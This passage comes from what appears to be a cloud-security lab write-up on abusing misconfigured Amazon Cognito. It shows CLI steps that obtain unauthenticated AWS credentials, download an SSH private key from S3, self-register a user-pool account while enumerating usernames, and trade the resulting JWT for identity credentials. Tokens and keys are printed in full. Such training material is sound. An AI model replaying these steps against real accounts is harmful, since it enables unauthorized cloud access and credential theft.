</span></span><span style="display:flex;"><span>                    Toast.<span style="color:#a6e22e">makeText</span>(<span style="color:#66d9ef">this</span>, <span style="color:#e6db74">&#34;Error occurred while checking status.&#34;</span>, Toast.<span style="color:#a6e22e">LENGTH_SHORT</span>).<span style="color:#a6e22e">show</span>();
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                Toast.<span style="color:#a6e22e">makeText</span>(<span style="color:#66d9ef">this</span>, <span style="color:#e6db74">&#34;Please enter a tracking number.&#34;</span>, Toast.<span style="color:#a6e22e">LENGTH_SHORT</span>).<span style="color:#a6e22e">show</span>();
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Amazon Cognito can be configured to support unauthenticated identities and issues them with short-lived credentials for users that don&rsquo;t authenticate with an identity provider as long as the requester has a valid unique identity ID.</p>
<p>We will use our personal AWS account to get an Identity ID using the Identity Pool ID</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws cognito-identity get-id --identity-pool-id us-east-1:d2fecd68-ab89-48ae-b70f-44de60381367 --no-sign --region us-east-1
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;IdentityId&#34;</span>: <span style="color:#e6db74">&#34;us-east-1:6391d33c-4b41-c03f-4fe6-77f41a616de0&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>With a valid Identity ID we shall now see if we can get credentials</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws cognito-identity get-credentials-for-identity --identity-id us-east-1:6391d33c-4b41-c03f-4fe6-77f41a616de0 --region us-east-1
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;IdentityId&#34;</span>: <span style="color:#e6db74">&#34;us-east-1:6391d33c-4b41-c03f-4fe6-77f41a616de0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Credentials&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AccessKeyId&#34;</span>: <span style="color:#e6db74">&#34;ASIAWHEOTHRF4TYQIJUW&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;SecretKey&#34;</span>: <span style="color:#e6db74">&#34;omJWKoTa69EOIipz+sbLZkbwh0a29UA/ebq/PxVb&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;SessionToken&#34;</span>: <span style="color:#e6db74">&#34;IQoJb3JpZ2luX2VjEMn//////////wEaCXVzLWVhc3QtMSJGMEQCIAqjqiKJbCLdM/NO3I8kWhXeiiK2qvXTFh1KL0bTGPR2AiA01jZL/j6fFJjwxghbLjLUD6SzgCEbEBiF2R9dOBvKoyrTBQih//////////8BEAAaDDQyNzY0ODMwMjE1NSIMftx6p0aHoXnu68rHKqcF94lkl4B5493l2VsI1SP26XXP29Y1AdfYfTreFGCuuXbGHG1PiNQCf8R7BJqe+Wh81nN9kfo6cBtBAvWH2WKCpNATdtWCsSqg7G/p7uQVeCAgNaw2AoswU7s/f6KLrpnUGjPVOM8i2xABfHhPmIa5YTJeoCN6tGV3FRYegyr8If/JHwH7Z1oHIl45GnuOq1xlVkwdfYCojZE25G2vlvT48ww6VCkmNW1SKz2VVxiRF0OMmNWVKB5Kp8y/zjoA/wX4B2ylz0JcQX6UJ0QCiVLGHAmXR+yzgzAPj5UE8P37Y8HmPm0pONKWp7ZU+gDrHXLdfLMneDt/PnQ94iNYbMae4jW88hpk4E80oPcsBQnj2dUTp0RgCjmQ5KmjMEkbWI2WBBdFHqP7svJ6XeueaylCE4qYC37fuaMcSmESvMD1Sos4Feh5L01DEMOdFhqy0i+BPS0qWIRAxb2fVnTchc1ZANI0qiScvCJFhGMtoWwatOtpxH4M0HiS5MkMkgIoXDTpasSOBTrd/hBEBEHxI7viXYyRURKsEtaYJVxXtbD0axxV1auAQmtrvMV5i9MOZG8BdfxDNdCrIOnGHVqUNglN3mWA9tdgLO7XBGim7b4aBM+2SnF5xMQwo7YfDfHq0BlmrB5l3S26cvhENPU2wP5WoFru+dfP4eF6lmcrWds18vdy0+ZBMCy5+J1DgSYMiFDlD+iEY+lk2Gq1Uvhg6sjNEzg3qRcL1p0f3SqyXJubRgMHlN8bkCYvuHsH7+yRfnzF6UFCpWwkvAM1gaX+9GLwB4C14vR6G9fJi3Vb58mEz/jjOKoGvbGB/3V+XcqazgJS47Ok/CmgjT8l0nIWjIBHQXcfe54rmrR8UCA+AhctCKLf1/aj/Ogt8K/x2PzlZfnX5wDYkOVOEjD58YK1BjrdAucoaQdWgmyQ9VK/CpHVxCOS15HwkkAK0aeLh+eBp4ElCBsS9njFI3u1v3kpEh9B9BMK69FWscNWLeB9kK62MtflziKmsYBTRAp0wFHUKa3USK8+ei1q6vDifxW7F5epL/FyNg9AeC3ncZBgQNrEh3O8W1WXhPLRE/fWYnLQAWQmM7KHfMra3bAUAZOLIjwyZJyEXXxoiUyhZwD/MCZiMOsTQ5cperOeXn3LmlQJWXEhN7IgyoWQLFHqam3bd9Trdp7Ih7tzQzP7AsjLvIXsHHXjaxLxXo15wRsNKVkod0HHJ8tbLGFxwKkJg1oVlYMIgHadV5rsg8HygwK2VraZTfsNzga8yO3SULD5IMzFgwfF0TGpxJ8/B9B9t2QT1pA8soFUFtWzAvzByWURiemQBKdE6DW+JEi4uPCatcU1MuGZGJ7g6QSDYrTxvXL//EmeDcNKzV9B5KF3fTAO2jg=&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Expiration&#34;</span>: <span style="color:#e6db74">&#34;2024-07-24T17:19:05+08:00&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We shall load these credentials using <code>aws configure</code> and then <code>aws configure set aws_session_token &lt;token&gt;</code> and check that they are valid and functioning correctly</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile cognito configure
</span></span><span style="display:flex;"><span>AWS Access Key ID <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: ASIAWHEOTHRF4TYQIJUW
</span></span><span style="display:flex;"><span>AWS Secret Access Key <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: omJWKoTa69EOIipz+sbLZkbwh0a29UA/ebq/PxVb
</span></span><span style="display:flex;"><span>Default region name <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: us-east-1
</span></span><span style="display:flex;"><span>Default output format <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile cognito configure set aws_session_token <span style="color:#e6db74">&#34;IQoJb3JpZ2luX2VjEMn//////////wEaCXVzLWVhc3QtMSJGMEQCIAqjqiKJbCLdM/NO3I8kWhXeiiK2qvXTFh1KL0bTGPR2AiA01jZL/j6fFJjwxghbLjLUD6SzgCEbEBiF2R9dOBvKoyrTBQih//////////8BEAAaDDQyNzY0ODMwMjE1NSIMftx6p0aHoXnu68rHKqcF94lkl4B5493l2VsI1SP26XXP29Y1AdfYfTreFGCuuXbGHG1PiNQCf8R7BJqe+Wh81nN9kfo6cBtBAvWH2WKCpNATdtWCsSqg7G/p7uQVeCAgNaw2AoswU7s/f6KLrpnUGjPVOM8i2xABfHhPmIa5YTJeoCN6tGV3FRYegyr8If/JHwH7Z1oHIl45GnuOq1xlVkwdfYCojZE25G2vlvT48ww6VCkmNW1SKz2VVxiRF0OMmNWVKB5Kp8y/zjoA/wX4B2ylz0JcQX6UJ0QCiVLGHAmXR+yzgzAPj5UE8P37Y8HmPm0pONKWp7ZU+gDrHXLdfLMneDt/PnQ94iNYbMae4jW88hpk4E80oPcsBQnj2dUTp0RgCjmQ5KmjMEkbWI2WBBdFHqP7svJ6XeueaylCE4qYC37fuaMcSmESvMD1Sos4Feh5L01DEMOdFhqy0i+BPS0qWIRAxb2fVnTchc1ZANI0qiScvCJFhGMtoWwatOtpxH4M0HiS5MkMkgIoXDTpasSOBTrd/hBEBEHxI7viXYyRURKsEtaYJVxXtbD0axxV1auAQmtrvMV5i9MOZG8BdfxDNdCrIOnGHVqUNglN3mWA9tdgLO7XBGim7b4aBM+2SnF5xMQwo7YfDfHq0BlmrB5l3S26cvhENPU2wP5WoFru+dfP4eF6lmcrWds18vdy0+ZBMCy5+J1DgSYMiFDlD+iEY+lk2Gq1Uvhg6sjNEzg3qRcL1p0f3SqyXJubRgMHlN8bkCYvuHsH7+yRfnzF6UFCpWwkvAM1gaX+9GLwB4C14vR6G9fJi3Vb58mEz/jjOKoGvbGB/3V+XcqazgJS47Ok/CmgjT8l0nIWjIBHQXcfe54rmrR8UCA+AhctCKLf1/aj/Ogt8K/x2PzlZfnX5wDYkOVOEjD58YK1BjrdAucoaQdWgmyQ9VK/CpHVxCOS15HwkkAK0aeLh+eBp4ElCBsS9njFI3u1v3kpEh9B9BMK69FWscNWLeB9kK62MtflziKmsYBTRAp0wFHUKa3USK8+ei1q6vDifxW7F5epL/FyNg9AeC3ncZBgQNrEh3O8W1WXhPLRE/fWYnLQAWQmM7KHfMra3bAUAZOLIjwyZJyEXXxoiUyhZwD/MCZiMOsTQ5cperOeXn3LmlQJWXEhN7IgyoWQLFHqam3bd9Trdp7Ih7tzQzP7AsjLvIXsHHXjaxLxXo15wRsNKVkod0HHJ8tbLGFxwKkJg1oVlYMIgHadV5rsg8HygwK2VraZTfsNzga8yO3SULD5IMzFgwfF0TGpxJ8/B9B9t2QT1pA8soFUFtWzAvzByWURiemQBKdE6DW+JEi4uPCatcU1MuGZGJ7g6QSDYrTxvXL//EmeDcNKzV9B5KF3fTAO2jg=&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile cognito sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AROAWHEOTHRFRYHGIQFVK:CognitoIdentityCredentials&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;427648302155&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:sts::427648302155:assumed-role/Cognito_StatusAppUnauth_Role/CognitoIdentityCredentials&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>With valid credentials, let&rsquo;s check out that S3 bucket that we found in the source code.  We find that there is SSH private key which we will download that may come in handy later.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile cognito s3 ls hl-app-images --recursive
</span></span><span style="display:flex;"><span>2023-07-16 01:52:13       <span style="color:#ae81ff">4052</span> hl.png
</span></span><span style="display:flex;"><span>2023-07-16 02:10:54          <span style="color:#ae81ff">0</span> temp/
</span></span><span style="display:flex;"><span>2023-07-16 02:11:22       <span style="color:#ae81ff">3428</span> temp/id_rsa
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile cognito s3 cp s3://hl-app-images/temp/id_rsa .
</span></span><span style="display:flex;"><span>download: s3://hl-app-images/temp/id_rsa to ./id_rsa
</span></span></code></pre></div><h3 id="user-pools">User Pools</h3>
<p>The team also found a publicly exposed Cognito Hosted UI for a web-app associated with a Cognito User Pool and the URL and the form reference the Client ID of <code>16f1g98bfuj9i0g3f8be36kkrl</code> at <a href="https://huge-logistics.auth.us-east-1.amazoncognito.com/login?client_id=16f1g98bfuj9i0g3f8be36kkrl&amp;response_type=code&amp;scope=https%3A%2F%2Fapi.huge-logistics.com%2Fstatus&#43;openid&amp;redirect_uri=https%3A%2F%2Fhuge-logistics.com">https://huge-logistics.auth.us-east-1.amazoncognito.com/login?client_id=16f1g98bfuj9i0g3f8be36kkrl&response_type=code&scope=https%3A%2F%2Fapi.huge-logistics.com%2Fstatus+openid&redirect_uri=https%3A%2F%2Fhuge-logistics.com</a></p>
<p><img src="/assets/pwn_20240724163407.png" alt=""></p>
<p>There is a sign up field on the page but we shall use the AWS CLI for this and after numerous attempts due to insufficiently secure password and then finding out that there is an account called &ldquo;hacker&rdquo; already, which is not a good sign, we have been able to create an account.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username hacker --password thisisnotsecure --region us-east-1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>An error occurred <span style="color:#f92672">(</span>InvalidPasswordException<span style="color:#f92672">)</span> when calling the SignUp operation: Password did not conform with policy: Password must have uppercase characters
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username hacker --password Thisisnotsecure --region us-east-1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>An error occurred <span style="color:#f92672">(</span>InvalidPasswordException<span style="color:#f92672">)</span> when calling the SignUp operation: Password did not conform with policy: Password must have numeric characters
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username hacker --password Thisisnotsecure1 --region us-east-1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>An error occurred <span style="color:#f92672">(</span>InvalidPasswordException<span style="color:#f92672">)</span> when calling the SignUp operation: Password did not conform with policy: Password must
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username hacker --password Thisisnotsecure1! --region us-east-1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>An error occurred <span style="color:#f92672">(</span>UsernameExistsException<span style="color:#f92672">)</span> when calling the SignUp operation: User already exists
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username legit_user --password Thisisnotsecure1! --region us-east-1
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserConfirmed&#34;</span>: false,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserSub&#34;</span>: <span style="color:#e6db74">&#34;a30cccde-b030-4020-a970-aa08d4e1f8e5&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><blockquote>
<p>What is interesting is that this is also possible to be used to enumerate for valid usernames as we saw above that our account <code>hacker</code> already existed</p>
</blockquote>
<p>We can see from above that our account is not confirmed and this would appear to be using the AWS Recommended setting of &ldquo;Allow Cognito to automatically send messages to verify and confirm&rdquo; and as such we will need to specify and email address.</p>
<p>We create a one-time email address and then create a new account</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username legit_user1 --password Thisisnotsecure1! --region us-east-1 --user-attributes Name<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;email&#34;</span>,Value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;cognito-lab.nutshell514@passmail.net&#34;</span> Name<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;name&#34;</span>,Value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;legit_user1&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserConfirmed&#34;</span>: false,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;CodeDeliveryDetails&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Destination&#34;</span>: <span style="color:#e6db74">&#34;c***@p***&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;DeliveryMedium&#34;</span>: <span style="color:#e6db74">&#34;EMAIL&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AttributeName&#34;</span>: <span style="color:#e6db74">&#34;email&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserSub&#34;</span>: <span style="color:#e6db74">&#34;8c3554fc-9001-48a9-bc05-456cdd3dcf63&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We receive an email</p>
<p><img src="/assets/pwn_20240724165123.png" alt="">
We validate our account with the confirmation code with no output returned indicating it is successful and then we request a JWT</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws cognito-idp confirm-sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username legit_user1 --confirmation-code <span style="color:#ae81ff">523324</span> --region us-east-1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws cognito-idp initiate-auth --client-id 16f1g98bfuj9i0g3f8be36kkrl --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME<span style="color:#f92672">=</span>legit_user1,PASSWORD<span style="color:#f92672">=</span>Thisisnotsecure1! --region us-east-1
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;ChallengeParameters&#34;</span>: <span style="color:#f92672">{}</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AuthenticationResult&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AccessToken&#34;</span>: <span style="color:#e6db74">&#34;eyJraWQiOiJDTFRKamV3bm5sT3BXTmxzOTZhbW1veEtZaHFqMVBuWjJrMXdMVVg2bno0PSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4YzM1NTRmYy05MDAxLTQ4YTktYmMwNS00NTZjZGQzZGNmNjMiLCJpc3MiOiJodHRwczpcL1wvY29nbml0by1pZHAudXMtZWFzdC0xLmFtYXpvbmF3cy5jb21cL3VzLWVhc3QtMV84cmNLN2FidHoiLCJjbGllbnRfaWQiOiIxNmYxZzk4YmZ1ajlpMGczZjhiZTM2a2tybCIsIm9yaWdpbl9qdGkiOiI2YWE4NzRiOC0xY2Y1LTQ3NzktYmFkZS03ZThiYTlhZGMyMWUiLCJldmVudF9pZCI6IjE0M2MwZmI3LTVlNTUtNDc4YS04MzM2LTI0OWZjN2EzYmQ0ZSIsInRva2VuX3VzZSI6ImFjY2VzcyIsInNjb3BlIjoiYXdzLmNvZ25pdG8uc2lnbmluLnVzZXIuYWRtaW4iLCJhdXRoX3RpbWUiOjE3MjE4MTEzMDIsImV4cCI6MTcyMTgxNDkwMiwiaWF0IjoxNzIxODExMzAyLCJqdGkiOiIzNTYyMGEyMy0yODE1LTRjZjEtOWQzMS01YzUzYzA1MDRlMWYiLCJ1c2VybmFtZSI6ImxlZ2l0X3VzZXIxIn0.GUruvUKfiSdsByQFUISFMiLJjhk_vnEZNJaAdlK7t8u2Cc_JuT6JaCAEWtseJYonpKzYZ8jclEvcZ_6Y9t-wOA9g86LtaY0e9V1dW6I7Onq6wyjXdT1jskPIgfNgl5QejqpTsDJXQuNZWJ0xF-h_BmVO_CQjdtzOh264WcpOsuKP9fx_TNYYfn11PNo4kfDUDIfggSc_8ornX-lXQG1PASMtBg8PDkOqty7pJxWVZ4uWXYxzAlCzLZ4NAEmst7fhqc3hM6-U0FFE13_CCVGloq8TlMnVG1iUn7rZuSerzd1ijgP1tvEdMclIuAT4q-VAfWTHDapYsUAw19Xg9mYlew&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;ExpiresIn&#34;</span>: 3600,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;TokenType&#34;</span>: <span style="color:#e6db74">&#34;Bearer&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;RefreshToken&#34;</span>: <span style="color:#e6db74">&#34;eyJjdHkiOiJKV1QiLCJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBLU9BRVAifQ.yiQOM4ec4jcok2_QEdOYUmF5Y1xfA3VAFPdXyVN5-iZTrDQD-SQbreSkCAgEJnMRZN3_JBeacSX120_95wBRdZuzWlJoD42DG0naeoQX7rHq5BPWbX1A2Z1vlBNVY9GWmkZydxULMozbDn3bPIYSgGyJlvoX3PHOQzwuSQY4k3F4GYd5s0GI3_rWxyi5N_S6zTHeDUhzhaSIw_0tiinLNxYgqsHhm1GQ4MNLWnH5Oy44TytXbCFahuM99UtaNwQzLE5uqrZG32FBNhVojDp0gIiGn5FjL-xE5yVtx_s_YRvbER9ffcYYRtd_Ughyzp2BszaZfw66jlH0ZjaANXHRJQ.SfWXb9SwsWKfdssJ.UaBvkwdC85-Fg4cXJQXMCOB8YNoHX_If5VNW4LkUv3bbDFKAHvxue6vNpAdIaQUpr6ItTAprSQPj83c3MCeF3UvDAa0iZB42x2I2ZJGrj1dDqHTxMDHP25eukmVNYgrmbVPG9o_sGHaCqpQvpNWmhBKrebJJHAkfKNTdMFu6TafnVCs50d1LSk6wL2WLuBMXQhbvDCT1zktnxZ-aRbNmTqcGoCBTSf2gojSXMbwsztkjquCfJJLXNKlscSDntDu02xk3C1iS8IdcYHkYwwWALjL3LRthLthDXRJOa77AcpaYFPp8IQA1rv_JJHOxxURYnNOmt71W-wWGab4FyKciNZ65t8Lb4R1hM5L31sElkD8HEhRNrTZ8Elxz3vbvYFGPNegrvuvNusozhDp3-JW1ApS567ZIZkh2Z81THX64dBT-J4gWIAWcu-S_J318xFY2e6hPG4Jfj6UvBkCo-kA7LHQNW8COjHL4pu8bTNECw_Zm455b8nUyzCkkchxsspPiCZWdxKO0oyTVJLMDQ2BWLcju9vovwllvkQHfnIsIB1i8ujwVOpkgCG9aoDBOz9UwSBdBkhbDWzXBVgbtSbj876XfsY36dbIzzxhXoNQcjz3BF6OjRxTiY9Kg8t1YrdEb4FYx-WAJq9864ys2zMz7wN_MHo6QxDjXD4jDzRwhRA7jAngXooWQzS4GVq9JPLWVnz2qNgsY_IWunS8Z75_Wn6nDC5kOL00SwuqQg1KvC3lMYRzU5Dw7MBsZJl-mLt0Ohy4S4LuoftNt_E98hfu0HrWkNlzSmSdmd78t9aPVsTH9StkQB3xYGZ-yZrBI4hB5fAd4RJq110EgSQaujFccbrQqKFnI5BUqAfaQ4LPn38mLX4YHv7a0mGklPxZYL2vxW1b8cEBaL85IE8txxLgTk0tme71Rm5q_JjS-Cmqkbt25pYWoWvrnFiVMce_8Cp8Zd9z3AjSAzWAu71JLhq8_8yeimxoOWtRfO7AQMn3dy3WTVtBK05FkthdHvvWnTT1-d4tKRPxlHTZDx41AEx5lVWbIq0lLehqQCwdv7dRpiPjf4kn00zpBhGLCnWtYmMYHHD0qF8ZKgM6did4Ii5Ljl42QhTLyb3xhfl0O73n4vvoAqgEhY0SIWbOnu0BFbCXtKGmd5rRR9EoFST2AE0JV8xU3X7K5QZ4x82triMMI4jRiAhB4Yc0jms9OxAhariGcP3w0k9h1TR575sE08ogWtHeJXQmaHUa-jpZNsbgELy2AxelaSBcHWjuLNXpo5xYV81lqBRMoPPSFVw.maZZ38qA1tBcBSYvwzrGJQ&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IdToken&#34;</span>: <span style="color:#e6db74">&#34;eyJraWQiOiJqTWtSTTVsQnJNUzZxZXFJVWVCRVQyRlhHOUUrZjdwbXVLajM2VlVGMStrPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4YzM1NTRmYy05MDAxLTQ4YTktYmMwNS00NTZjZGQzZGNmNjMiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfOHJjSzdhYnR6IiwiY29nbml0bzp1c2VybmFtZSI6ImxlZ2l0X3VzZXIxIiwib3JpZ2luX2p0aSI6IjZhYTg3NGI4LTFjZjUtNDc3OS1iYWRlLTdlOGJhOWFkYzIxZSIsImF1ZCI6IjE2ZjFnOThiZnVqOWkwZzNmOGJlMzZra3JsIiwiZXZlbnRfaWQiOiIxNDNjMGZiNy01ZTU1LTQ3OGEtODMzNi0yNDlmYzdhM2JkNGUiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTcyMTgxMTMwMiwibmFtZSI6ImxlZ2l0X3VzZXIxIiwiZXhwIjoxNzIxODE0OTAyLCJpYXQiOjE3MjE4MTEzMDIsImp0aSI6IjhlMjgzMzRhLTYxNzgtNDM0MC04M2ZjLTNmYzM0NWE2NTRjZCIsImVtYWlsIjoiY29nbml0by1sYWIubnV0c2hlbGw1MTRAcGFzc21haWwubmV0In0.DNsQohA0w6kRN4GI8X4-dlonxGuqh85LYjzevsB95ZqnLKDns-k9iSIHcXIy1y2p4-CGmWuBAFMr6y0MTDTNLSdxFYoZJUBeNTfFUBYmBlvXUncip5XUwtfpjEJ0WWYAcsu8F_UK9Un3kwah3zDbavD5pFwIHEtqJLvLLXQsCH6KNbY_XZwZsmfNhYqXXOMml26KOfwvQR0FnvW3w7R8YtmhQt_UDOgWsIbl8hw-NmxYNrQZw7gzDi0sn-zuzhV08y5uOKfCKgJ4Zi4yZpkdZFbMh9ri21TEOKjhUgUSLlTZImy9yWxWzeq7BV5OpdEDWJ22l4lFP-xQFl5TqanAog&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We use <a href="https://jwt.io">https://jwt.io</a> to decode the JWT and we can see that we have the User Pool ID of <code>8rcK7abtz</code></p>
<p><img src="/assets/pwn_20240724165929.png" alt=""></p>
<p>Issue the command below that specifies the <code>get-id</code> action, coping the access token from <code>IdToken</code> , and specifying the user pool ID.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws cognito-identity get-id --identity-pool-id <span style="color:#e6db74">&#34;us-east-1:d2fecd68-ab89-48ae-b70f-44de60381367&#34;</span> --region us-east-1 --logins <span style="color:#e6db74">&#34;{ \&#34;cognito-idp.us-east-1.amazonaws.com/us-east-1_8rcK7abtz\&#34;: \&#34;eyJraWQiOiJqTWtSTTVsQnJNUzZxZXFJVWVCRVQyRlhHOUUrZjdwbXVLajM2VlVGMStrPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4YzM1NTRmYy05MDAxLTQ4YTktYmMwNS00NTZjZGQzZGNmNjMiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfOHJjSzdhYnR6IiwiY29nbml0bzp1c2VybmFtZSI6ImxlZ2l0X3VzZXIxIiwib3JpZ2luX2p0aSI6IjZhYTg3NGI4LTFjZjUtNDc3OS1iYWRlLTdlOGJhOWFkYzIxZSIsImF1ZCI6IjE2ZjFnOThiZnVqOWkwZzNmOGJlMzZra3JsIiwiZXZlbnRfaWQiOiIxNDNjMGZiNy01ZTU1LTQ3OGEtODMzNi0yNDlmYzdhM2JkNGUiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTcyMTgxMTMwMiwibmFtZSI6ImxlZ2l0X3VzZXIxIiwiZXhwIjoxNzIxODE0OTAyLCJpYXQiOjE3MjE4MTEzMDIsImp0aSI6IjhlMjgzMzRhLTYxNzgtNDM0MC04M2ZjLTNmYzM0NWE2NTRjZCIsImVtYWlsIjoiY29nbml0by1sYWIubnV0c2hlbGw1MTRAcGFzc21haWwubmV0In0.DNsQohA0w6kRN4GI8X4-dlonxGuqh85LYjzevsB95ZqnLKDns-k9iSIHcXIy1y2p4-CGmWuBAFMr6y0MTDTNLSdxFYoZJUBeNTfFUBYmBlvXUncip5XUwtfpjEJ0WWYAcsu